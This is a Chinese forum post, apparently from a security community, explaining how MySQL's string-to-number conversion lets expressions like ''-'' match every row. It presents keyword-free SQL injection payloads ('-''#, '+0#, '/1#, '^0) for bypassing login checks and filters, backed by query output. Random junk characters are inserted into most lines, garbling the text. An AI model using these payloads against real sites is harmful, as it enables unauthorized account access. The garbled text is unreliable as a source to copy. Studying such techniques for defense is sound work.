找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2056|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
我们先来看这样一个场景。! v, G# K; Y- v: ~0 B, v
有以下表结构:
% x7 v! I$ B& }3 V# Q  N& P+ Q. C% m5 y9 `7 i3 ~
mysql> desc admin;
3 L! b5 A5 [! b: b+----------+--------------+------+-----+---------+----------------+! b/ t6 ~# z& H& O5 e- \* A
| Field    | Type         | Null | Key | Default | Extra          |
* T5 l' s/ V" a8 ~: V+----------+--------------+------+-----+---------+----------------+2 T! j8 e% g# S" s1 \
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |5 y) W, q* d: T, A% g0 [
| name     | char(32)     | NO   | UNI | NULL    |                |, [( f& W7 d: M0 d" \# T  T# S% {. v
| password | char(32)     | NO   | UNI | NULL    |                |- {8 H% z3 w3 Y  P( q' j# J* @
+----------+--------------+------+-----+---------+----------------+& C" Y" e* W" x/ b
3 rows in set (0.00 sec)
6 l& r7 B2 C. D1 \执行select * from admin;,成功返回所有记录内容。
4 B  s' w, |  y$ @& x* ?& \
1 ^& p9 b9 r8 j; ?1 u) P1 B# p  Y9 u* j# o7 }+ I& k- _/ H) j
+----+--------+----------------------------------+2 Z: [7 v4 C! z+ E
| id | name   | password                         |
6 d' u& N9 B! G- L1 t$ q+----+--------+----------------------------------+" [& z5 m0 m" o8 V
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
' W9 {- C( ^1 F5 w' ?& Y  i|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# w/ I' ]( _  Y! L& j
|  4 | n00b   | ff80e8508d39047460921792273533a4 |! d5 L$ `' n; f# k/ P( p
+----+--------+----------------------------------+
  L$ d9 r0 J1 [3 rows in set (0.00 sec)
: r2 b/ i4 k4 u. v执行select * from admin where name=”;,没有匹配到任何记录。
/ T6 `/ b8 `' @0 R9 c! Y; Z7 K8 n8 a
mysql> select * from admin where name = '';* k4 Q' Z7 @) @5 X4 _) ~$ K+ ^2 N
Empty set (0.00 sec)
0 F: \& B: g2 q, J9 ?那么我们来执行select * from admin where name = ”-”;
$ k0 D/ }! U( {* K' ~% @9 Y+ }8 Y6 a) V. k% O- R8 I7 u
3 _7 s: h3 t% t! h+ _% U
+----+--------+----------------------------------+0 Q- R7 Z+ p, t* r0 w8 j
| id | name   | password                         |7 o2 s7 V7 Z1 W7 u
+----+--------+----------------------------------+
( f7 N( G" P+ t9 W* |2 u' q2 D|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
# w, G: @' J: \|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
/ c4 S8 _9 c$ D3 N|  4 | n00b   | ff80e8508d39047460921792273533a4 |8 ?& S2 y1 @+ B' ]0 W
+----+--------+----------------------------------+
, ^: M6 f! M/ v! T& z3 rows in set, 3 warnings (0.00 sec)8 W7 N: x; U# K
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
8 B# s; t. x* q& B# K7 n1 `( k) K: U6 ?2 L9 S
mysql> show warnings;
6 u5 V4 \) w+ ]' _9 G+---------+------+------------------------------------------
/ Z9 Z2 {* `3 ~6 C6 U; d| Level   | Code | Message
$ S; n) H% n- E/ p+---------+------+------------------------------------------
: g) }" @8 T7 h  d; c# V| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
# x3 J. F$ k' O5 V| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
1 U, G4 S# M  y/ A3 Y$ X% c$ p| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b0 [1 P1 F5 g$ q7 O) h! T
+---------+------+------------------------------------------0 p+ b  x& ]/ i: w8 x
3 rows in set (0.00 sec)
4 Q" A+ o. w% H. u提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 : J$ S: d% w) R, n5 D* b

- T' o* r& F/ P0 l1 S; Rmysql> select ''-'';3 ?' r- ?) Z9 c
+-------+- j7 B5 o. s2 M
| ''-'' |9 g& e0 L& L) _4 p- T6 Y
+-------+# P  M. [8 T- I2 C6 f  l  U+ g
|     0 |3 @8 y2 T% |: y0 c
+-------+1 _) L* f3 ~9 p$ r) e' X. {* D. r
1 row in set (0.00 sec)4 i, T* s0 [% P1 _
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
# x2 ?8 A- ?0 ^3 b  F5 T' W6 B% x7 X) h& X% M3 R) ^1 ?
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
$ P- X9 V; H! o+-----------------------------------------------------+, ~3 N. I0 `" J
| CAST((select name from admin limit 1,1) as DECIMAL) |
: n* |/ H- g; y' M+-----------------------------------------------------+& D9 B8 V/ B. M$ l1 \& b1 v  m( s
|                                                   0 |4 Y( Q2 d* W5 [( o: t; l
+-----------------------------------------------------+# E4 i! |. n" ]- X/ S# {/ y
1 row in set, 1 warning (0.00 sec)
3 ~& X+ j2 C1 G6 N因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ) Q) ~  z- Q  n% U
# h2 ~7 `& I; d0 _3 N$ V$ h8 T
SQL注入场景: http://www.sqlzoo.net/hack/ 9 O" k! u$ k3 G* r; v4 z; y% m

: b2 k" R8 H$ m7 e
8 e4 {1 b8 t- ~3 v5 a6 ^0 U4 L& e  K7 o; V! m8 P$ z

! {8 k/ f" {+ n/ E4 e4 G0 U如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 5 W* o% f) S2 g1 f
: M* R2 R( m- t, @8 |2 q/ G. A
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 " G& L) S+ u3 E; n) u

2 a# p- i2 ^8 X, Q
* _* R, ^6 f2 _. i
/ ]5 K* `+ ]0 {( ^* E+ k- Y, _; z
+ L1 h3 z. ~8 F, r( e仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
5 S; `1 _7 h8 j' B9 _
' a+ T, s# Y* j   ( `9 S) Y* |8 |" x& c6 @* \
8 h6 I" C* i: [/ o3 P! K" T+ I
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可6 J7 R2 }" Q* o' {7 }) v, e, M: e9 S

# ]3 F, p. Q' e, l: h
2 l4 o( I4 }3 a, C- Z8 n! T; Fmysql> select ''/1;
6 x( a; x# _( h& e( A9 s9 B+------+
* _1 j) Y4 w& u| ''/1 |3 v0 f) n( h( U: y
+------+
& x# k1 Z7 {  P" B& z|    0 |
- G# C! c; s$ w  T5 A+------+2 _1 ^5 n; n7 i  ~3 g, w% X
1 row in set (0.00 sec)
3 ]- i/ f3 ?+ d+ A( G类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
; L, ^0 ]3 n" |  i, l  C% Y  ?! `0 C0 u  q  u" S
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
) ~0 M. j6 @" T% R3 f% j( p
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表